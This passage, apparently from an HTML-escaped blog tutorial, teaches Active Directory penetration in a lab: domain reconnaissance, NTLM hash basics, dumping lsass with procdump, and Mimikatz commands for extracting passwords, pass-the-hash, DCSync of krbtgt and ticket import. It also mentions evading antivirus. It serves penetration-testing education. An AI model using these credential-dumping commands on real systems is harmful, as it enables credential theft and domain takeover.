mapping on the router. We exploit a web script vulnerability and gain system privileges on that host. If the client wants us to go further and test the internal network to demonstrate the serious risks facing the company, this is where internal Active Directory penetration comes in. Our usual goal is to gain control of the domain controller, because once the DC falls, the entire internal network is effectively in our hands.&lt;/p&gt;&#10;&lt;h3 id="1-lab-setup"&gt;&lt;a href="#1-lab-setup" class="header-anchor"&gt;&lt;/a&gt;1. Lab Setup&#10;&lt;/h3&gt;&lt;p&gt;Before we begin, we need to set up a domain environment. Since this is only for teaching and testing, one domain controller and one domain-joined host are enough. I use windows server 2012 and windows 7 here. By compromising windows 7, or simply controlling it directly, we can simulate a compromised host and use it to study Active Directory penetration.&lt;/p&gt;&#10;&lt;p&gt;The windows server 2012 machine has an Administrator user (the domain controller&amp;rsquo;s super-administrator account). Windows7 has a dada user (a member of the Administrators group) and a xiao user (a standard domain user).&lt;/p&gt;&#10;&lt;h3 id="2-information-gathering-in-the-domain"&gt;&lt;a href="#2-information-gathering-in-the-domain" class="header-anchor"&gt;&lt;/a&gt;2. Information Gathering in the Domain&#10;&lt;/h3&gt;&lt;p&gt;The first step in every penetration test is information gathering, and a domain is no exception.&lt;/p&gt;&#10;&lt;h4 id="-identify-the-environment"&gt;&lt;a href="#-identify-the-environment" class="header-anchor"&gt;&lt;/a&gt;① Identify the Environment&#10;&lt;/h4&gt;&lt;p&gt;Inside the domain, first identify the compromised host&amp;rsquo;s current internal-network environment, including details such as the topology. The following commands can help you quickly get your bearings.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;route print # View routing information&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;arp -a # View all devices in the domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ipconfig /all # Determine whether the host is domain-joined from the DNS suffix and DNS server&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ping &amp;#34;DOMAIN_NAME&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net time /domain # View system time and identify the primary domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;During a penetration test, remember to save the data you collect. Do not just glance at it and lose it, and try not to query the same information repeatedly. Every action should be clean and efficient.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h4 id="-domain-information"&gt;&lt;a href="#-domain-information" class="header-anchor"&gt;&lt;/a&gt;② Domain Information&#10;&lt;/h4&gt;&lt;p&gt;Besides learning about the internal-network environment, we can query domain-related information directly with commands.&lt;/p&gt;&#10;&lt;h5 id="1-net-view"&gt;&lt;a href="#1-net-view" class="header-anchor"&gt;&lt;/a&gt;1. net view&#10;&lt;/h5&gt;&lt;p&gt;View devices in the local workgroup/domain environment.&lt;/p&gt;&#10;&lt;p&gt;View online hosts in the domain. At this point, we can see the two machines in the domain: the compromised XZM-PC and the domain controller AD.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0001.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;If error 6118 appears =&amp;gt;&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;Disable the firewall; 2. enable the services (Computer Browser, Server, and Workstation); 3. reopen CMD.&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;h5 id="2-net-view-domain"&gt;&lt;a href="#2-net-view-domain" class="header-anchor"&gt;&lt;/a&gt;2. net view /domain&#10;&lt;/h5&gt;&lt;p&gt;See how many domains currently exist. Here, we can see one domain named MAO.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0002.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h5 id="3-net-user-domain"&gt;&lt;a href="#3-net-user-domain" class="header-anchor"&gt;&lt;/a&gt;3. net user /domain&#10;&lt;/h5&gt;&lt;p&gt;View users in the domain. Besides the usual administrator and guest accounts, we can see a krbtgt user. This account is extremely important, and we will come back to it later.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0003.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h5 id="4-net-group-domain"&gt;&lt;a href="#4-net-group-domain" class="header-anchor"&gt;&lt;/a&gt;4. net group /domain&#10;&lt;/h5&gt;&lt;p&gt;View information about the domain&amp;rsquo;s groups.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0004.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There are quite a few groups here, so I will list a few of the key ones.&lt;/p&gt;&#10;&lt;p&gt;*Domain Admins — administrators group&lt;/p&gt;&#10;&lt;p&gt;*Domain Computers — hostnames&lt;/p&gt;&#10;&lt;p&gt;*Domain Controllers — domain controllers group&lt;/p&gt;&#10;&lt;p&gt;*Enterprise Admins — enterprise-level administrators&lt;/p&gt;&#10;&lt;p&gt;You can use &lt;code&gt;net group group_name /domain&lt;/code&gt; to view the users in a group.&lt;/p&gt;&#10;&lt;h5 id="5-whoami-user"&gt;&lt;a href="#5-whoami-user" class="header-anchor"&gt;&lt;/a&gt;5. whoami /user&#10;&lt;/h5&gt;&lt;p&gt;Determine your current privileges.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0005.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;500: administrator&lt;/li&gt;&#10;&lt;li&gt;501: guest&lt;/li&gt;&#10;&lt;li&gt;1000+: standard user&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h5 id="6-net-group-domain-controllers-domain"&gt;&lt;a href="#6-net-group-domain-controllers-domain" class="header-anchor"&gt;&lt;/a&gt;6. net group &amp;ldquo;domain controllers&amp;rdquo; /domain&#10;&lt;/h5&gt;&lt;p&gt;View the members of the domain controller administrators group (a high-privilege group in the domain).&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0006.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Domain Admins — domain administrators group (high privilege)&lt;/li&gt;&#10;&lt;li&gt;Domain Computers — hosts joined to the domain&lt;/li&gt;&#10;&lt;li&gt;Domain Controllers — domain controllers (high privilege)&lt;/li&gt;&#10;&lt;li&gt;Domain Users — standard domain users&lt;/li&gt;&#10;&lt;li&gt;Enterprise Admins — enterprise administrators (high privilege)&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h5 id="8-systeminfo--findstr-kb"&gt;&lt;a href="#8-systeminfo--findstr-kb" class="header-anchor"&gt;&lt;/a&gt;8. systeminfo | findstr &amp;ldquo;KB&amp;rdquo;&#10;&lt;/h5&gt;&lt;p&gt;View patch information.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0007.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h5 id="7-locate-the-domain-controller"&gt;&lt;a href="#7-locate-the-domain-controller" class="header-anchor"&gt;&lt;/a&gt;7. Locate the Domain Controller&#10;&lt;/h5&gt;&lt;p&gt;The domain controller has the highest privileges in the domain, so it is naturally our primary target. We can locate it using some of the commands introduced above.&lt;/p&gt;&#10;&lt;p&gt;Use &lt;code&gt;net user /domain&lt;/code&gt; to view accounts in the domain and &lt;code&gt;net group &amp;quot;domain controllers&amp;quot; /domain&lt;/code&gt; to view the domain controllers. You can quickly check your own privileges with &lt;code&gt;whoami /user&lt;/code&gt;.&lt;/p&gt;&#10;&lt;h3 id="3-local-authentication"&gt;&lt;a href="#3-local-authentication" class="header-anchor"&gt;&lt;/a&gt;3. Local Authentication&#10;&lt;/h3&gt;&lt;h4 id="-windows-local-authentication"&gt;&lt;a href="#-windows-local-authentication" class="header-anchor"&gt;&lt;/a&gt;① Windows Local Authentication&#10;&lt;/h4&gt;&lt;p&gt;Before we start attacking, we need to understand how windows authentication works.&lt;/p&gt;&#10;&lt;p&gt;From studying the operating system, we know that &lt;code&gt;C:\Windows\System32\config\SAM&lt;/code&gt; is the database file that stores host account passwords.&lt;/p&gt;&#10;&lt;p&gt;The windows login process is actually quite simple. winlogin.exe starts, and when the user enters an account name and password, they are sent to lsass.exe. lsass.exe converts the plaintext entered by the user into an NTLM hash and compares it with the data stored in the SAM file. If they match, the login succeeds.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0008.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Windows Logon is the user login program in the Windows operating system. It manages user login and logout and provides the interface where users enter their account names and passwords, also known as the login page or login screen.&lt;/p&gt;&#10;&lt;p&gt;lsass is part of the Microsoft windows security mechanism. It is a critical Windows operating-system process responsible for local security and login policies. It starts automatically when Windows boots and continues running in the background.&lt;/p&gt;&#10;&lt;h4 id="-ntlm-hash"&gt;&lt;a href="#-ntlm-hash" class="header-anchor"&gt;&lt;/a&gt;② NTLM hash&#10;&lt;/h4&gt;&lt;p&gt;Of course, windows itself does not store plaintext passwords. The SAM file stores password hashes. During login, the user&amp;rsquo;s input is first converted into a hash before the comparison is performed.&lt;/p&gt;&#10;&lt;p&gt;Hashes are generally stored in two places:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;The SAM file, stored on the local machine =&amp;gt; corresponds to local users&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&#10;&lt;ol start="2"&gt;&#10;&lt;li&gt;The NTDS.DIT file, stored on the domain controller =&amp;gt; corresponds to domain users&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h5 id="1-hashing-process"&gt;&lt;a href="#1-hashing-process" class="header-anchor"&gt;&lt;/a&gt;1. Hashing Process&#10;&lt;/h5&gt;&lt;p&gt;The plaintext password entered by the user =&amp;gt; hexadecimal =&amp;gt; unicode =&amp;gt; md4 algorithm =&amp;gt; NTLM hash. As you can see, the entire process is fairly simple.&lt;/p&gt;&#10;&lt;h5 id="2-stored-password-format"&gt;&lt;a href="#2-stored-password-format" class="header-anchor"&gt;&lt;/a&gt;2. Stored Password Format&#10;&lt;/h5&gt;&lt;p&gt;Example: administrator:500:LM hash:NTLM hash&lt;/p&gt;&#10;&lt;p&gt;The username comes first, followed by the user&amp;rsquo;s SID, then the LM hash and NTLM hash.&lt;/p&gt;&#10;&lt;p&gt;If the LM Hash begins with AAD3B, the password is empty or has not been set.&lt;/p&gt;&#10;&lt;p&gt;LM Hash stands for “LAN Manager Hash.” It is a hashing algorithm Microsoft adopted to improve the security of the Windows operating system, and it is essentially based on DES encryption. Although LM Hash is relatively easy to crack, Windows only disabled it to maintain system compatibility (starting with Windows Vista and Windows Server 2008, Windows disables LM Hash by default). LM Hash plaintext passwords are limited to 14 characters, so if you want to stop using LM Hash, simply set the user&amp;rsquo;s password to more than 14 characters.&lt;/p&gt;&#10;&lt;h5 id="3-lsassexe"&gt;&lt;a href="#3-lsassexe" class="header-anchor"&gt;&lt;/a&gt;3. lsass.exe&#10;&lt;/h5&gt;&lt;p&gt;During lateral movement and privilege escalation on an internal network, the most common approach is to &lt;code&gt;dump the lsass.exe process to obtain plaintext passwords or hashes&lt;/code&gt;. lsass.exe (Local Security Authority SubsystemService) is a system process used by the Microsoft Windows security mechanism for local security and login policies. Its process space contains important information such as the machine&amp;rsquo;s domain, local usernames, and passwords. However, you must &lt;code&gt;first obtain high privileges&lt;/code&gt; before you can access it.&lt;/p&gt;&#10;&lt;h3 id="4-extracting-passwords-from-lsassexe"&gt;&lt;a href="#4-extracting-passwords-from-lsassexe" class="header-anchor"&gt;&lt;/a&gt;4. Extracting Passwords from lsass.exe&#10;&lt;/h3&gt;&lt;h4 id="-procdump"&gt;&lt;a href="#-procdump" class="header-anchor"&gt;&lt;/a&gt;① Procdump&#10;&lt;/h4&gt;&lt;p&gt;procdump is a command-line tool mainly used to monitor abnormal CPU activity in applications and create memory dumps. As mentioned above, plaintext and encrypted passwords are both stored in lsass, so procdump can dump lsass&amp;rsquo;s memory resources. Here are some of its parameters.&lt;/p&gt;&#10;&lt;h5 id="1-relevant-parameters"&gt;&lt;a href="#1-relevant-parameters" class="header-anchor"&gt;&lt;/a&gt;1. Relevant Parameters&#10;&lt;/h5&gt;&lt;ul&gt;&#10;&lt;li&gt;-ma: Writes a “full” dump file. [Includes all memory (images, mappings, and private memory), as well as all metadata for processes, threads, modules, handles, address spaces, and so on.]&lt;/li&gt;&#10;&lt;li&gt;-accepteula: Automatically accepts the Sysinternals license agreement when this command-line option is used.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h5 id="2-basic-usage"&gt;&lt;a href="#2-basic-usage" class="header-anchor"&gt;&lt;/a&gt;2. Basic Usage&#10;&lt;/h5&gt;&lt;p&gt;It is very straightforward: specify the options and the process whose memory you want to dump, then provide an output filename. You immediately get a memory dump file with the .dmp extension. (This requires a command-line window running with administrator privileges.)&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;procdump.exe -ma -accepteula lsass.exe passwd.dmp # Dump in-memory hashes locally as passwd.dmp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;pypykatz lsa minidump ./pass.dmp # This works very well&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0009.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Normally, we cannot open passwd.dmp directly; opening it in Notepad only shows garbled text. This is where another small tool, Mimikatz, comes in to read passwd.dmp.&lt;/p&gt;&#10;&lt;h4 id="-mimikatz"&gt;&lt;a href="#-mimikatz" class="header-anchor"&gt;&lt;/a&gt;② Mimikatz&#10;&lt;/h4&gt;&lt;p&gt;Mimikatz is a powerful, lightweight debugging tool developed by the French researcher benjamin. It was originally intended for personal testing, but its powerful ability to read plaintext passwords directly from operating systems such as WindowsXP-2012 made it famous in penetration testing. You could call it an essential penetration-testing tool.&lt;/p&gt;&#10;&lt;h5 id="1-relevant-parameters-1"&gt;&lt;a href="#1-relevant-parameters-1" class="header-anchor"&gt;&lt;/a&gt;1. Relevant Parameters&#10;&lt;/h5&gt;&lt;p&gt;Mimikatz has many parameters, so I will only cover the commonly used ones here.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # :: Display help&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # cls Clear the screen&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # log Log captured information&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # hostname View the hostname&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;privilege module&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;(This requires a command-line window running with administrator privileges.)&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # privilege::debug Elevate Mimikatz privileges using its built-in exploit against the current host&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;sekurlsa module&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1. Extract passwords for users logged on to the current system; elevate Mimikatz privileges first&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # sekurlsa::logonpasswords Retrieve all account passwords; simpler than using Procdump&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;2. Capture user NTLM hashes from memory and list LM and NTLM credentials&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # sekurlsa::msv&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;3. Load the DMP file and extract plaintext passwords&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # sekurlsa::minidump passwd.dmp Switch context&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # sekurlsa::logonpasswords full List all available credentials&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;4. Export all tickets from the lsass.exe process&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # sekurlsa::tickets /export&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;5. List Kerberos credentials&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # sekurlsa::kerberos Retrieve in-domain Kerberos authentication data, including account passwords&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;6. Pass the hash&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # sekurlsa::pth&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;lsadump module&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # lsadump::sam Read the SAM file to obtain usernames and NTLM hashes&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # lsadump::secrets Retrieve the current user&amp;#39;s password&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # lsadump::dcsync /user:krbtgt Retrieve krbtgt user information from the domain controller&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;kerberos module&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1. List tickets on the system&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # kerberos::list List tickets&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # kerberos::tgt List tickets&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;2. Clear tickets from the system&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # kerberos::purge Clear tickets&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;3. Import a ticket into the system&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # kerberos::ptc TICKET_PATH&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;process module&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # process::start command Start a process&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # process::stop command Stop a process&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # process::list List processes&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Mimikatz works so well that antivirus software will flag it. If you plan to run Mimikatz on a target machine, first consider whether you need to make it evade detection.&lt;/p&gt;&#10;&lt;h5 id="2-basic-usage-1"&gt;&lt;a href="#2-basic-usage-1" class="header-anchor"&gt;&lt;/a&gt;2. Basic Usage&#10;&lt;/h5&gt;&lt;p&gt;Mimikatz can extract plaintext passwords from memory. After loading the dmp file obtained with procdump using &lt;code&gt;sekurlsa::minidump&lt;/code&gt;, you can read passwords with commands such as &lt;code&gt;sekurlsa::logonpasswords full&lt;/code&gt;. The result looks like this:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sekurlsa::minidump ./passwd.dmp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sekurlsa::logonpasswords full&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0010.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0011.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Here, we can see administrator information in the screenshot. Getting this information in a real environment basically means the engagement is over.&lt;/p&gt;&#10;&lt;h5 id="3-advanced-usage"&gt;&lt;a href="#3-advanced-usage" class="header-anchor"&gt;&lt;/a&gt;3. 